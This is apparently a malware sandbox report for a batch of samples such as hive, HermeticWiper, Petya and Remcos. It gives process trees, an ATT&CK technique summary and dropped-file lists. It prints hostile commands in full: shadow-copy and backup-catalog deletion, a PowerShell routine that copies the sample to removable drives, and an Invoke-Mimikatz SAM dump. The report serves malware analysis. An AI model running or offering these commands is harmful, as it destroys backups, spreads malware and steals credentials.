C:\Program Files (x86)\Microsoft\Edge\Application\HD_msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\HD_msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2608,i,18275088768173218727,3434253503841944712,262144 --variations-seed-version --mojo-platform-channel-handle=2628 /prefetch:24⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\HD_msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\HD_msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2076,i,18275088768173218727,3434253503841944712,262144 --variations-seed-version --mojo-platform-channel-handle=2664 /prefetch:134⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\HD_msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\HD_msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3404,i,18275088768173218727,3434253503841944712,262144 --variations-seed-version --mojo-platform-channel-handle=3432 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\HD_msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\HD_msedge.exe" --type=renderer --string-annotations --instant-process --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3416,i,18275088768173218727,3434253503841944712,262144 --variations-seed-version --mojo-platform-channel-handle=3440 /prefetch:14⤵
-
-
-
-
C:\Users\Admin\Desktop\Red-Flaged\µ¥Äµ╡ĵ╡Öτ¢┤µÆ¡σè⌐µëï(32τëêµ£¼Σ╗ÑΣ╕è)V1.2.0.exe"C:\Users\Admin\Desktop\Red-Flaged\µ¥Äµ╡ĵ╡Öτ¢┤µÆ¡σè⌐µëï(32τëêµ£¼Σ╗ÑΣ╕è)V1.2.0.exe"1⤵
-
C:\Users\Admin\Desktop\Red-Flaged\._cache_µ¥Äµ¦Äµ¦Öt¢¦µÆ¡s謵ëï(32tëêµ£¼S+ÑS+è)V1.2.0.exe"C:\Users\Admin\Desktop\Red-Flaged\._cache_µ¥Äµ¦Äµ¦Öt¢¦µÆ¡s謵ëï(32tëêµ£¼S+ÑS+è)V1.2.0.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\N.exe > nul4⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
-
C:\Users\Admin\Desktop\Red-Flaged\HD_._cache_µ¥Äµ¦Äµ¦Öt¢¦µÆ¡s謵ëï(32tëêµ£¼S+ÑS+è)V1.2.0.exeC:\Users\Admin\Desktop\Red-Flaged\HD_._cache_µ¥Äµ¦Äµ¦Öt¢¦µÆ¡s謵ëï(32tëêµ£¼S+ÑS+è)V1.2.0.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\is-7P96M.tmp\HD_._cache_µ¥Äµ¦Äµ¦Öt¢¦µÆ¡s謵ëï(32tëêµ£¼S+ÑS+è)V1.2.0.tmp"C:\Users\Admin\AppData\Local\Temp\is-7P96M.tmp\HD_._cache_µ¥Äµ¦Äµ¦Öt¢¦µÆ¡s謵ëï(32tëêµ£¼S+ÑS+è)V1.2.0.tmp" /SL5="$C07BE,1370523,1281024,C:\Users\Admin\Desktop\Red-Flaged\HD_._cache_µ¥Äµ¦Äµ¦Öt¢¦µÆ¡s謵ëï(32tëêµ£¼S+ÑS+è)V1.2.0.exe"4⤵
-
-
-
-
C:\Users\Admin\Desktop\Red-Flaged\µ¥Äµ¦Äµ¦Öt¢¦µÆ¡s謵ëï(32tëêµ£¼S+ÑS+è)V1.2.0.exe"C:\Users\Admin\Desktop\Red-Flaged\µ¥Äµ¦Äµ¦Öt¢¦µÆ¡s謵ëï(32tëêµ£¼S+ÑS+è)V1.2.0.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\N.exe > nul3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -auto1⤵
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -acsi2⤵
-
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -auto1⤵
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -acsi2⤵
-
-
C:\Users\Admin\Desktop\Red-Flaged\hive.exe"C:\Users\Admin\Desktop\Red-Flaged\hive.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\N.exe > nul3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
-
C:\Users\Admin\Desktop\Red-Flaged\HD_hive.exeC:\Users\Admin\Desktop\Red-Flaged\HD_hive.exe2⤵
-
-
C:\Users\Admin\Desktop\Red-Flaged\HermeticWiper.exe"C:\Users\Admin\Desktop\Red-Flaged\HermeticWiper.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\N.exe > nul3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -auto1⤵
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -acsi2⤵
-
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -auto1⤵
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -acsi2⤵
-
-
C:\Users\Admin\Desktop\Red-Flaged\hive.exe"C:\Users\Admin\Desktop\Red-Flaged\hive.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\N.exe > nul3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
-
C:\Users\Admin\Desktop\Red-Flaged\HD_hive.exeC:\Users\Admin\Desktop\Red-Flaged\HD_hive.exe2⤵
-
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -auto1⤵
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -acsi2⤵
-
-
C:\Users\Admin\Desktop\Red-Flaged\HermeticWiper.exe"C:\Users\Admin\Desktop\Red-Flaged\HermeticWiper.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\N.exe > nul3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -auto1⤵
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -acsi2⤵
-
-
C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe"1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command " vssadmin Delete Shadows /All /Quiet wbadmin Delete Catalog -Quiet "2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\vssadmin.exe"C:\Windows\system32\vssadmin.exe" Delete Shadows /All /Quiet3⤵
- Interacts with shadow copies
-
-
C:\Windows\system32\wbadmin.exe"C:\Windows\system32\wbadmin.exe" Delete Catalog -Quiet3⤵
- Deletes backup catalog
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command " $drives = Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} foreach ($drive in $drives) { if ($drive.DriveLetter -and -not (Test-Path ($drive.DriveLetter + \"\\WindowsUpdate.exe\"))) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination ($drive.DriveLetter + \"\\WindowsUpdate.exe\") -Force Remove-Item -Path $tempFile -Force } } "2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command " try { Invoke-Mimikatz -Command '\"privilege::debug\" \"token::elevate\" \"lsadump::sam\" \"exit\"' -ErrorAction SilentlyContinue } catch {} "2⤵
- Hide Artifacts: Ignore Process Interrupts
-
-
C:\Users\Admin\Desktop\Red-Flaged\JaffaCakes118_30f515392358142b507a486d7ab379d2.exe"C:\Users\Admin\Desktop\Red-Flaged\JaffaCakes118_30f515392358142b507a486d7ab379d2.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\N.exe > nul3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -auto1⤵
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -acsi2⤵
-
-
C:\Users\Admin\Desktop\Red-Flaged\JaffaCakes118_337dd03f1d287dcdb6471704d14aa3b6.exe"C:\Users\Admin\Desktop\Red-Flaged\JaffaCakes118_337dd03f1d287dcdb6471704d14aa3b6.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\N.exe > nul3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -auto1⤵
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -acsi2⤵
-
-
C:\Users\Admin\Desktop\Red-Flaged\N-W0rm.exe"C:\Users\Admin\Desktop\Red-Flaged\N-W0rm.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\N.exe > nul3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -auto1⤵
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -acsi2⤵
-
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -auto1⤵
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -acsi2⤵
-
-
C:\Users\Admin\Desktop\Red-Flaged\MyDoom.A.exe"C:\Users\Admin\Desktop\Red-Flaged\MyDoom.A.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\N.exe > nul3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -auto1⤵
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -acsi2⤵
-
-
C:\Users\Admin\Desktop\Red-Flaged\Remcos.exe"C:\Users\Admin\Desktop\Red-Flaged\Remcos.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\N.exe > nul3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -auto1⤵
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -acsi2⤵
-
-
C:\Users\Admin\Desktop\Red-Flaged\Petya.A.exe"C:\Users\Admin\Desktop\Red-Flaged\Petya.A.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\N.exe > nul3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -auto1⤵
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -acsi2⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 6140 -ip 61401⤵
-
C:\Users\Admin\Desktop\Red-Flaged\Product Sample pdf.exe"C:\Users\Admin\Desktop\Red-Flaged\Product Sample pdf.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\N.exe > nul3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -auto1⤵
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -acsi2⤵
-
-
C:\Users\Admin\Desktop\Red-Flaged\realtek.exe"C:\Users\Admin\Desktop\Red-Flaged\realtek.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\N.exe > nul3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -auto1⤵
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -acsi2⤵
-
-
C:\Users\Admin\Desktop\Red-Flaged\Remcos.exe"C:\Users\Admin\Desktop\Red-Flaged\Remcos.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\N.exe > nul3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -auto1⤵
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -acsi2⤵
-
-
C:\Users\Admin\Desktop\Red-Flaged\rPO-25-063.exe"C:\Users\Admin\Desktop\Red-Flaged\rPO-25-063.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\N.exe > nul3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -auto1⤵
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -acsi2⤵
-
-
C:\Users\Admin\Desktop\Red-Flaged\uncext.exe"C:\Users\Admin\Desktop\Red-Flaged\uncext.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\N.exe > nul3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -auto1⤵
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -acsi2⤵
-
-
C:\Users\Admin\Desktop\Red-Flaged\setup.exe"C:\Users\Admin\Desktop\Red-Flaged\setup.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\N.exe > nul3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
-
C:\Users\Admin\Desktop\Red-Flaged\VerifierImGui.exe"C:\Users\Admin\Desktop\Red-Flaged\VerifierImGui.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\N.exe > nul3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -auto1⤵
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -acsi2⤵
-
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -auto1⤵
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -acsi2⤵
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Server Software Component
1Terminal Services DLL
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Hide Artifacts
1Ignore Process Interrupts
1Impair Defenses
1Disable or Modify System Firewall
1Indicator Removal
5Clear Windows Event Logs
1File Deletion
4Modify Registry
3Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
2Credentials In Files
2Discovery
Browser Information Discovery
1Peripheral Device Discovery
1Query Registry
5Remote System Discovery
1System Information Discovery
6System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
1Internet Connection Discovery
1Replay Monitor
Loading Replay Monitor...
Downloads
HOW_TO_DECRYPT.txt
_README_Yurei.txt
HD_msedge.exe
settings.dat
settings.dat
settings.dat
settings.dat
17a7fdcc-2351-49f3-8790-63e4b6c57cec.tmp
the-real-index
SiteList-Enterprise.json
CURRENT
MANIFEST-000001
SCT Auditing Pending Reports
Preferences
Preferences
Secure Preferences
the-real-index
the-real-index~RFe5c26aa.TMP
the-real-index
the-real-index
the-real-index~RFe5c269a.TMP
the-real-index
the-real-index~RFe5c26aa.TMP
index.txt
index.txt
Local State
Local State
Local State
data_1
s5auuaut.newcfg
user.config
Cookie.txt
Cookie.txt
DebugLog.txt
FB_Resource.txt
N.exe
R.exe
RCX31DA.tmp
RCX3268.tmp
RCX37A9.tmp
RCX80F1.tmp
RCX8795.tmp
X.ico
X.ico
X.ico
X.ico
X.ico
X.ico
X.ico
X.ico
__PSScriptPolicyTest_olhgxbtf.040.ps1
HD_._cache_µ¥Äµ¦Äµ¦Öt¢¦µÆ¡s謵ëï(32tëêµ£¼S+ÑS+è)V1.2.0.tmp
LoginData
WebData
chargeable.exe
fcvtee.exe
_README_Yurei.txt
._cache_µ¥Äµ¦Äµ¦Öt¢¦µÆ¡s謵ëï(32tëêµ£¼S+ÑS+è)V1.2.0.exe
028064da75bc36bb36ca2c02744da60fceb33fabcbee02ddae76ff35332208fe.exe
03d34f5a53aa870c9aee05a54c1d258f013f8e86ff71434e8137e747a77f020a.exe
04e768174636f0a5be42e9cee5974a8b9db2832d4e79cc973ad617185ab80595.exe
0e932dd0eb5ac59e3a4a2412ad3424052fd57053923a9006b8a63061b2d9ba78.exe
0eb4708bc1ecc868a3247cea58065db54315a8f30047b6e2c7cfc4ef4fa7f6ff.exe
12bd6f8e298e25c036f3bd4716edcb486d78a3c8f33af1f2d74439ebbcbf5434.exe
1db18d89a636f9d9307e51798c0545664fae38711a2a72139d62c7dbd6f17fe3.exe
1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe
2025-07-15_9fdd329535a395b3287bf94308c76785_elex_stealc_stop_tofsee_upatre.exe
2025-11-05_d1c0f450fd12161c126de8f17a8c1810_cobalt-strike_coinminer_dosia_luca-stealer_njrat_poet-rat_quasar-rat_snatch.exe
2025-11-10_423504692acf78cecd61922d89b87a1d_amadey_cobalt-strike_darkgate_elex_luca-stealer_lynx_njrat.exe
2025-11-11_895016d46d81fa30da9122e4abab6660_amadey_cobalt-strike_elex_luca-stealer_lynx_njrat.exe
2025-11-12_66b597d27d0554b1504430138369859b_amadey_cobalt-strike_darkgate_elex_luca-stealer_lynx_njrat_smoke-loader.exe
2025-11-12_6ab017c1b7d68321880fed7736122a20_cobalt-strike_conti.exe
2025-11-12_9e11b0e463c9998ddbf018922648ef7e_amadey_cloudeye_elex_emotet_glassworm_hacktools_icedid_mimikatz_qilin_redline-stealer_remcos_rhadamanthys_smoke-loader_stealc_wannacry.exe
2025-11-12_a787c0932def56cc7b85e6888e67bb87_amadey_elex_smoke-loader_stealc_stop_vidar.exe
2025-11-13_5dce91e6d4ecc2af605e2eaf5537cb90_amadey_cloudeye_elex_emotet_glassworm_hacktools_mimikatz_qilin_redline-stealer_remcos_rhadamanthys_smoke-loader_stealc_wannacry.exe
2025_Cotizacion Noviembre.exe
2128a68f2140e72e8cf42fae54a66f8eb228a5393744237cf2a04c72d0310188.exe
374ef83de2b254c4970b830bb93a1dd79955945d24b824a0b35636e14355fe05.exe
3a252ac37d78baad0a81242c0cb2bd68208c12267aa87d3cd3c5d594f1de27a5.exe
3d0edacb6d58c9674119460f71e535a1dd2566845b0f8a6bc97185b1ff9f3bb9.exe
3d0edacb6d58c9674119460f71e535a1dd2566845b0f8a6bc97185b1ff9f3bb9.exe
439ff2060a600d666dafcf86f7ef8fea5ee0cca7e39521c986a3181d99ede61d.exe
4ffb7cec59276bc2e1fcbdf462b23fbfda1ebae6b0d388dbaaeed6a0cc706f88.exe
HD_._cache_µ¥Äµ¦Äµ¦Öt¢¦µÆ¡s謵ëï(32tëêµ£¼S+ÑS+è)V1.2.0.exe
HD_Implosions.exe
HD__1bb10490d6f13e80d874896428908f6b5758b9722b959841c369c6ddc435230e.exe
HD_ff14655342e9f2d6c62955f89111bded7e4d1f65237201e502fb9b7fbd75c46b.exe
HD_hive.exe
_13a5c1a535c161fd2724423dad1dfa6885c705713569d4ed4f2ebf900df25ed7.exe
_1bb10490d6f13e80d874896428908f6b5758b9722b959841c369c6ddc435230e.exe
_529586cbbd8586d7f33a3ea9bdd517b7ead617b4e12165106e81e4bfad859474.exe
_69997b7923fe84358aa11adc4db0862577ac9336c657e771a2244f07c843816a.exe
_aa885d2d8550a5816070d4174a504ae7b4d90e3e50b3dbce7cea17443b6b9080.exe
_efffbda36edcb7d4130f65a57d3966e7694172fb5db37ce48f27849d239066c7.exe
settings.xml
settings.xml
settings.xml
settings.xml
settings.xml
settings.xml
李济浙直播助手(32版本以上)V1.2.0.exe
Cyborg_DECRYPT.txt
Remote Data.exe
HOW_TO_DECRYPT.txt
240735734.txt
memory/304-1733-0x0000000005390000-0x00000000053A4000-memory.dmp
memory/972-1296-0x0000000009080000-0x00000000093D7000-memory.dmp
memory/972-356-0x0000000005CC0000-0x0000000006266000-memory.dmp
memory/972-1343-0x000000000A570000-0x000000000A58A000-memory.dmp
memory/972-1342-0x000000000A5E0000-0x000000000A692000-memory.dmp
memory/972-1049-0x0000000007D40000-0x0000000007DB6000-memory.dmp
memory/972-1128-0x0000000008420000-0x000000000843E000-memory.dmp
memory/972-1308-0x00000000087A0000-0x00000000087C1000-memory.dmp
memory/972-1297-0x00000000096E0000-0x0000000009730000-memory.dmp
memory/972-341-0x00000000006D0000-0x0000000000DEE000-memory.dmp
memory/972-1059-0x0000000007DC0000-0x00000000082A2000-memory.dmp
